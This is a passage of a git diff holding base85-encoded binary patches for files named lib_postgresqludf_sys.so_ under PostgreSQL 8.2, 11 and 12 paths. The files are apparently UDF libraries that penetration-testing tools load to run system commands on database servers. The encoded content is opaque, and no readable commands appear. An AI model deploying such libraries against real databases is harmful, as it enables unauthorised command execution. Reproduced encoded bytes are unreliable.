zk-NHM70w+&gm{m(COGz=@eoSVb(k8-&SumB&Dgsw;(D8|4zYJ=azI3`@-Osbu@04O z7`q|eV-zpho;n9CI~s&%(RmJ3oam>7Zw=nVs4+0SWO`Im4EcXS!?Lj>!B~~fqz7d>H4AZw+G~B578ACy0_bdDET2!J4Pn-lLs2vKW1BXoM z=<%lvqv+s!I_)UCsYEa_Kj9ax?A_+VS=Bm}{iGephx%Ord2#^%43qX3K1u5yeewD} zM*WwEN45hSp@9eR3;D>%zK7P^pO{M(LeO!)mx-UDwDmVq<(I(?u6=+oXHJu-_$gh` za-|1aSlc}1BNP=~=2;^)nU~{;Noim>fq6d2BUGC+IM)Ur=Q5hf#CMRv;jRjsGp0ld z>a1h1W6%CD7-<%#iYL%9G_D&$D0k~x#s|@Z=?Abw_$wa2XQKn@F{51l_BsYI;k&qW%;qljSi6j13&SK`#vfzg5X&A$GKl8_C9{m zlWET3`iuU=!qQ>qL^1BMajssY=bHEA!+SlEzhArCc@m0eVwE9)02k)BY9;M&qi^N* zRJU;Z8}nz35rs-6`2zx?B|>=aTFHk?AC~r0Gmc(`aF$+>>_%eZj9a)GCJ=G%bF@vh z3pW9dMX*)xNr)p|J#uDcF?!A02d=<&xttT|hZMb`-=i`8QT*WMxckS@Jb&+fWBZz_GuTPM&ap5d}Wt? z!n4UjUZZy!6XYgA(um8l@JQ24g$nvQHB3cBb92Bz?9}J3Z5&6lG_MZ=dFz=!zj8^3 zX!oVZ%XPldCJTzNVD4cUtrZh$UikQT7GxeQSX> zsSk6>+eF!hF&r$tb^7#9&2Vv~>DQ#Qt2?bwhj^?M1#>HICY=BHXxhHcXNFjC8)W`( z)NS;0f#9m7l-G^MDT;g(T#lLcLxZ<18&8}qum)!rBkFHmu4dmego|yTL8%ae0NTC* z>JiniU;a)mP4N**-VXk>>lDP}HTMX;~v0__yBK5_|@Aa>~GxU;q0!h{N+ zsy(|tASZIU@a?pIvI%s`srGcGD8KnMQ-rX-)k8FwrM6x3gZ+64iwJ3WiTIJ&RGXX~CNE5iHaI literal 2632 zcmV-O3b*w=(z+@x6+VJ|bk$3FI1ndg&aPuyZP(c=6aQFz)^?vXj9Pi7Qe9DKU8Lz^ zTt%{}RUI1^+xHXPLp?#GONnskbv&)K9cD}phokg_5X-BE0-{UUu=0no zGaJmnhy(MQFfB65z)RZ(B$3pq?On(YiGj2eX@%Vj;|Vg+WB1pn7$+|FHY;Y=@s3c3+@7bBorw z0pA}hCv_uX0`?uPU6msCstq?n27ha@PksvK9qq`$1PN_t$;?jTFMp?D$nrVlxt@vf z(0FT|^S8?d`Rr^&>LH*&`3QZwl0JwSv}07^=zO>=bw=DYQk7Z`)5ghw7!tXS6g7dsMJKt>4Z4z= zY?+6-OQ2<#N#v3og$!rq709`O?)js#skb1d-r+v{tbE@q>;|*Ouq&jLu5;tdW}u)X z-(4pNt0GTxGTyD}e-g7Pwwfr*@s@(nL6du;1%)7bI0a~AikE^F_gW_zOQfrwN+(!~ z@o?rbMUu+}t()m>d=PlL;OF_Ez8tAz#GGEXJcGQPQi!{fu@hWhHH{4uA3We%%!ygb}4y;W{53rjih1E(}97lDGm`7p8}`J z4j*k_Nbxx*x-%tAFhgx*9uc-UtNnkDKmhw#$R{^NLkc!VF+K*&aNP{fVfq_K1d;>! zB5PyI9;;O$B`@4kVjV?5egA-4#Gp}yT>d@A@^ESQ$Z8e2L^UsA@IXO|3hxtA;^?Mz zEDK>uLa2%+#xTZN@!CpskZpQsymmx}o1NX+PVn70j5C9 zzP_tA7VjW)zFmQ~UKrQD-W6MicDX0}^h4SKwfLG0&3}sf4UkG&NM%Z{iVxL7o(qIH z8=4&NSur8m<{Bmq6d#o`(pWQQrp>8@7cKwdhcqGSXIp7tHr#PRyONLqUp(wYR5Z`~ z)jYMC-aB%FntoxVCU+Fpgfx;*bn}*Y8`-&{8e)7<%?|bMB6Nc(V3`$gt2{TCIif=8 zkkN)MjP3C*Im{J_lVLtFN5M9X!`SziTJ#5|$AJ^b|Jr;ZR(BDq53ovk>L!hG!VVC>AA=&u%g00j^@sref&QvP z0{~t@f^56XXzTSf)74RN?E%pQ6|6oZX4s7Sw=16jdmqrN)H^$Sfx%_U{hU!Jjvim| zylmgJ`KrVA`1fz;JQ2^3UaL>`*zCSyh1VC;!YXSUaJ9E(rTbGKun)?;kq^m~~*2^Czj-T7mq21rpkyBx;705OpbJ6{YT-Zp- zr|j;kV|zqcel&E$2&oHGs!_Jd97%`m`m@sX17e>a-L7bm z=bKBI6C%fd*X9lVz%2ih4rFVFJAUkTz1hF@AcZ8S2;$RW!pe5HPJ9@@eA+a=r#G#57Gv{02+VxwY`FH)^)C2Oj<)VQDxqgDTY!*?E}>m zYv;z8*ICl*1mPA<$L%e6C4rv@XWuYjnT>&<8(3IN?xBL_L+>4_II-&|A###_Mm#;U3{!~OFQ{D5ht{l>{{2_+-e;pzfL5fe&}WECjL^ qC^$fP|3LMuhFy`J5d?4C6PVx3pa7ZEdDz#e(5|lfMXPX-M#PIa*eyu_ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ index 8a61270ca7a249057df5829848e31672feb3e43b..9327b1cdba3e485ea520a47292df74f0def039ca 100644 GIT binary patch literal 2633 zcmV-P3byqG&u6bqp#OMy+E z*-WKAZzG%zw@D;ZnDO7%ovE72~T&_;0AhxnAbgi`d&m=qmx;gZ9dZn zM)V8YHBPPjoN>e3$0c#rH@`AFTaw3y zMVMnFjj=^S7II7a7xrvS1+#3-($YxanfzI;3GNb|#caC6Te><5i5T34Nik5|*5sO> zywU>9tJrDg!2md5t5=o?8Vkbf3Z%4r`j3@+38}oG$+$KP#%gr$DMqcHM^ZVwmW`b> zaX8AaQs(S)Y(qfpHgY(GGM=>7@(*iY2-nrw_Rzzi?8~Jg%v7<~2A53~zSEsDAtbQy zddSg}c+R_G6F%M$LD&p$5wW>WGEzqqtF8xme%}PpXEwwMy>nmGZ-;Of4c>zLFz65l zd2nW@9PIEYRR#sH-tNo)~Ab6Bd_sqYCE;gwU6P5YB>=efa-Z z(1Gu9;beL^Z@u<@G!z#$9nY9B60LNAr)l z_q(4}=81x27a0FONF=eIb1brO4jzRPw3F_NH78$JG95i>81wmj7M6+b%8uC+oFp*k zj=cl9wu4fK7qnH;rU$wJK%%l~Wtj2Y2q;KgGZuu1uPfV1!Lk`M32&VhH5I8-qKIF? z#wWHMZA(3Zom(-xh8kA%=W@gf(~n7hY4NAuIlght-t|0#B{f#;;Tib3sxe&M7KnnT zPKj^J){DKzO+}*2jz7bu&j8nG*!P6N(tDd|b@<1oQ3fu5k((cU$)UD;*TSg)xEQgT zBIc{mF+BR5uC}(*Lg%rYtCu0Z)`pbCP4>Lj`WpGgC&T^L863U+#m&<+BFZ0N! z78MR~2XBFI4$d}Rq~!8n2dQW?O|2gws+J;dedrCzWodVI`6n{GMP?nqtIs?Js}8?BwFR-%`vqkTJwBB>xx?HGnzWbzIhtV>r1X}oM$tSNG3VLH=NL$e$B#@$4Vkn7k|#D z6ca#@U3hZ%kOA{QV0%)snej zDiWSmHGYv3(q}jR<P%x z=%vM@txygc+4H+Sm|uXOS#;rR(u7rPP*SQ5=t?-;EDUO_Q*a)=o!3!BUU~y)|GwuX z;v?jw*V(yYNiyu>5|Cr?XxU&F0(lY4XRv1YHZc^bGOKRsCV_!pS{C1S>==VH>&&S! zBE9y$UkgkH5xa^l))~UDUNU$*l3C|Tm8H(>h(D`x5RH#7s9D4BVxDif&swuxU4I`G ze#**dI7sE@JbafX=`VuuVu*#P8t7g*Ago~Z2Y6q-dHvX{zAGJwdMAlGG}eo&Jy9<( zenu4~Ho&`#_a4!#gT^R|WyAN@*J&y76dvCc+<;m#cm9Sq&-)(}WRAgr&0`@hhf^lV zHV~eRkn!hzbWcOqRzjtE_lH(YkFCEkF_wP;$tfTbGw`T{)b2kZ_!47^TVJghcVcHHO5{8sP%>d#NHYOHvp-0t52{y0LwF*s+IM_QgGE#|* z30f3G&0OOB)HO{9FLbG+1NSqj6R;}8TvL-H=!ZuSCR)|^ISU~=NrsrYj6i+&0UmE3 z;nQu9IwD_ba4(#n?0)&k%uTKGQb$-Q3pa0}~8S zi~<20DdqhE_J~bnd2?-;3p!wGzt}GZ0{oL~>@^$2BfRlA6)RrkxxyhLC#LO@z-SZk zqs1r&%QEHsa>M6EZ>^YMJIno)L!n5+!2Bjtg4zUc)}qn#27buv$$5d8SOWQ2XHW>D z&1HKsS;YaaJ$IudLI8#cEx@BNhj*64M;L4ZjT631Qy>hfbz)19MQ*mO}j{=yT<97lC&fD*m4u_^$>MP^%z3Qy3*rTz^;~PQwattMau7LRYjZu z+nW>9a^~*=Lmd_L)EO9mMD`x2{HB+4zC_W2QfY4%QlVeT3Bm{(6M`Ck`I) zM+@liyDFys@=u8##gSiE-h}*}s`M)}m=Mmp3@$k5Q6Yd^P3a|>!hks|KGeorCBJG&MLC~LVfKIZ1Eo+ literal 2633 zcmV-P3byq<(z+@*DLI0Cbrer!NZRPl{C&{q`ecB7FOuCLxlBv=cF)s-z6G5S6BRj{ zQMsWfjxkY=Q;668a4ny!Cs+xVnkGTetr_#k|H=V00$B;p1G?jTD%d=S7b=_^ail|@ zp=^X7Kqie_vT_Zvvksq!~{&_4VpYVBeMULosLYRbi1eR@07S?Q%Sepkpvpv#_3{3a*6ynzv~-a7DUw`4z4D*{8v(xX z0_gCvSIeq55Fg_rd;J1$X_1(39amOHsE;~JMEVNQ9~R{(l6FpkY^F^mH~WnHNXRiK zR&{ssAI;4gZzBun;U0oVQo2K)QFvtJ{RsO4VNA{k58CZDiiWS8r}EAp_lYK`3Z{#L zOjHR?e&|>g%;lkL!iEVX_C>8ZIXunM7L>MVN7gM;T;NuNC~cYKLpHO?^7Z4GMZN+`JanTss3qBP5lGB@aR%`nZz? zr7mc|qCAecl7oGOrp!b6O$UB<9T+S;8`8v1EVGC1vaa|tvmqg} zjhsGA)$vR)wWg*$7;-B-#AtFLHZM)bCdI-gAcD zHmOeP`HrlTPGq0{v>MH(w;=XO_wtpL(ORZjPu(T@gpx4p)u*ZUYFyW*!6y$@zH+b~VWb~PZS|+%o{(A*E}wc= zCnthp0xtC%XCqnW;;BRWPDyT-N1hAXr`K4A3^i~cb7e8VVy67T?CNK{Wn6psBImlM zLxEPyQ1**fz17jjWiX^;F+P5jGeevN^(J$_3=)46UsYb^wouUADxX6)& zXd>~L?OR6xRgZgsJw`m?gvu>bs4s#J*~Mks0<7GqHs3^w^yI5!ef~sCRr3S!`5xwp z#K$JtALs3N1BKLS)JG${aa<*rJ%}5S!{kTL*pqA#MoeZ%S_k@nN}|?KItv`wYyOBQ z86e9sFdxFfndDhGdUjo6y4O+j%vl;8S?FKdO?DV#u`AL4MBsDmY%f|-L!GTv{9$M% zyJ6on(spq!K9us=L|)_q**7XT78M^iRfDRUnOHT5T8ROCg&-6c759WdzN=+1B^lwD zj!B@Y=QJbZ{|1kfj?++R}y(qI!;>AymLh{eeU|Q*)O;(r-50R4hx4e02}#p7v~ZWM2(vhn~g+ z%_jBn)cAx`a~I;`YOq4lN8E8j0az^lU6p9~P7yVT9j<@8C7`@*U^CHnlsKXi#L2j1 zA)L#MWiCPmX`8DI`5e>wT@ytPsC?;3?S=2kr#iYP6Rffwl6=kY8oo}M;9sH$US1+5 zMDN6CKxo9r6M2Sn>JGodSgnhwV#t3O52|!O zGk+RGwS2?e`!HNmELD_|Inq6;Ymf`&b5??O>!x}=9Dm#QK`Q_oW`l|Bk6}Q?J3C$Sa}J@c)?4?;v~sI_VO^`3Pkc;15Ul)ig7g(bi&eFaJ@O01=lR&@dowL= zqX!U9D#XAu%&kLY0aHx5BtLOKy!jF|IN6|;C5^}O}K_R<37v-%m|5vx-XdQi5jxvLOX$1nw2}}e0c*AxZc0+ceeE|gZ zpf-cp2NLbePMUR*f#c_z>XZW3_jdxN_Ay9$&pk}Z!t%m*@2iJBP$)YXfA8UHEoHqR z^qvBSamURpO9k$Op+~ja*_Xc3b-KD{=kkKVG;4tr+BP%JgQUvw4O2aV+a!5PM_MTcbUydS{+X{PX8%_6q);bimdEV0fw?^wspPa#* r!OzZ)l~v>A>{Fvz;3?b~i@P-?#G$(d{QiM*pL`~hwhEKnZFu}z22~r% diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ index b1258cbe9a4a3dfbeea4e8ae67a284f9d8771a06..a9874449464ec4b039c0750a23d27af2258adeb1 100644 GIT binary patch literal 3257 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 literal 3257 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 diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ index 2c2e96ca70a948a79130092aa0b051665902f977..e4b124fc8b3670f28d4a0870d2c0f6e2e0f1138f 100644 GIT binary patch literal 2561 zcmV+c3jXyys=^8%20W7`_PJoli^a$d$}3wq@FiW4D{`a7Zp<^CLp^c&V!*G8r9kxT z*+|JtxWoCTal|EDZz29Q^D*XzQtjTa;^rj^0|z8{Bqg@*-xG%GADa@Q1D4HF9Xy1X z#e<+$qQ@H6yE)pNRIv6w`AVhVtsW1#GV8o23qAYwDMdCP-&q>?S8m|%>7L?1TN+){ zha(^Q5hkfR#u!$SK&6Q>$_w=ORgsd~uCaL*iD|gC^|Mz-nidiFI;i-HqFs4{{re~E z!50Z{Gfp)}%axS-$=R&O(nV0nuiZ*;wH7{moy@X1&$%hblUm}|zEBaz_t{{WdgEIO z6?rRp;sfZlO292(?i0Q*!F1}cSLjz4oKUAuje?>WIy%HQGrCh(!>y8cWekKlLnf$w zh|oa*`nruThcOP~tl8#c$OS1tU3WM2lQOGYrmLX0?@DK7@zkveap#he$MNXb1t_-9 zfA^_rH!F+r-gPwA!OXe$u{JnfFC?hX)i8+~4}~PRiq$yU!yyHcx0IjCsf{51x40Z4 z5rd)fvjdr(PQAtr)6SggP|2)QV){0!Z3D@psRXu9z|XLZ`dNRiObLHbt`W_^RKXa1 zOrCuUip*26q*9GKzeI_KEsmSmb`cJ(o9PErUiV<|{%E&PN*Imq_@E z0*`|#$pw^eZmv+fpk=mjO^>Kdv7T3HTrUMa=Id@aIRbb=>+Z0F0CSstfO*tA6{D|W5_H;EW@__`do#e9JA@0O%a zu)>MtP^raUeQkwt52>JmzYX-hLxggEei&hjnv3n8CN7mnd?@*+$44Cx6~%@ONJ0&< z+&#OOZ6N8ZnN*JkG2E0CzCm9)MF!7RPMkw&5ck5JG8&<_GA&3R`oUhEO3(YFujh@L z+(3AF>K!MgJoji!V$0<5eg0 zM_tLG?$My^8pj> zL7Xaa{z;!LCnD`;v0ipJ&ga!t!c!Anae$`7 zz2L>j=0gXS^N^s@_RmbpWCJQz9nm}*sa={B7bjQ5Ed%;xfi0JWeff zZ_W%9&at{+u9L!j4~Rz)8sQ8AuKD#KLjzKx4d<~i5$>xJwtJT+S2%=n7wDdanGtuw zU_P7Q*2i|h`RJh+o;$tFa6NmvJ$W^yj(H%(`?ji7yYyRzb$W}^mn?mc9Zd9BT=1V7 zq9t?jQgTXAGwzs)EqINYO}BD!e|e|7GriJ01GYgs;=n=t1ul#f;9G zoI?`$)EW7ibzcYUOw(aMZEF`hlpv2IG9rPWsVY#P|0_I{Mpf#GR|)}!uQ1*BvUY3v zq|vZKu;Z@-)9f|9lS@4xXZ%?-DXgiqk7CESC{6JMES&be(!T?eZBZA9rGT* zO(@b-<}g~Oh`Ai|IcUlh-WWtHf)fq;7C}g;8w_W7_8_WwKr1F7~_X&3{fQBfS!KQ z6H_BjX8zRHXTDb^?`L3`cmByFEMFT{6E=cCDz+~^HjJPG-Ur%#2y19Q{y+NoF^~6- z+@|v--5wkRvn)ISe$+f2o2(CaIx&`UB7|5e`{d2wa}bcUe=~~s@+Xjq=}f%;KoM5o z2z0f_<{`Z6&MJ z6p*q#d$hVn@r zq9vuQRR`HrmV3mXOWbC^N~aHn757Mjk?4o8oOZlD%p6bGHDce*oXH^zj;XP z@eEdr6fnewp7~fcX9Wan*JR|5AkmRW$ej{#c6Fitg*kQ1=}A`I6)cME_axCB6#Vn=_aT4j%YtD6 zY{@$2WZ@Ro7hweBJxcAC<-|Hhg9v@-hU9LQMb^hMX}hk+%C>-@hGB_qM@oF5lK0@o zCdz(1=Djsi%K#byUpPbuSu}P1FaO;&36@fW52`yOmtyJQZ4YVLdC$TUe~AwANuy(d XXN8?j!DYNfg4gfFrs|qOh7aof&HDr_ literal 2561 zcmV+c3jXyy(&8&VDLI00^_X4yvEarHvI}|{-ylrIC{v#IROvmPI~`ElO~t<7reVq6 z<88-Fz~k75Ucod8YyiUt$rR{@D$W0n&Eqs*045nq9ss!Sr!%L@FrEYV0Jrd9CmD*E zy`zD5jlv6qxESZIZk6~xfog>Qf*T&}G0K4zF&OprQDqlC@LUV6R8QUA)4S|IBRYKY zs3s1t5(ktB{5@EaIEAPX|_> z@bF+E)xVs2gb*{(mi*{ruq6m#a&ji1kQ0_^oQ|%ymuf~t-qE~Va>lQt{nX~yeF&HC zQ1ZAuGzzxE9R6(i_^h5@Ga=JW?BWN~&F=*^KK7Tg5|-2eLV0RikGK$u3h`&1NUlt!?&- zdat4j<^Y8{ZI5kx?I|N5fT8A zmK>2Ce5R{3fp^EaD}_YU1arKqG^iy;!k-eiy~Eb zv*WbZYK+TX1x=(-Agr;}ye!F#d7*rM1~@>gwT}GDB@d`|Mh*9;zh^uyI>47%OJgvD z<`}h?6#&SJwo#r_GX1G0gk(`VJtppSVVP1q6W0H)2tTj3N)2g0)x=N8N$$pxmBNFX zq+nTC#TYj5Kh{-#+2fvnG32Zm{0G1~BbQ!e9QP9}=P>expO{%GHttn$1wE@MEEd-K zxVqu=_lNZ)$q4V=;qj`F-B~X24D7ld29n;8HN2Tw1R=7$tjMVYXp)?vAvf~lrqat` zUK|B%SemY1%_(Ke^zCA%ZZ{S>6#jQZolA1#3F^DvVThj^upU!x^psoUWK=o zzQOqV+-3=ti?D(7*~(p?XCfD5C-gEJ(S5r$I3h-oE+WTQyAZ5S_2G8WE7sYXv;iBK 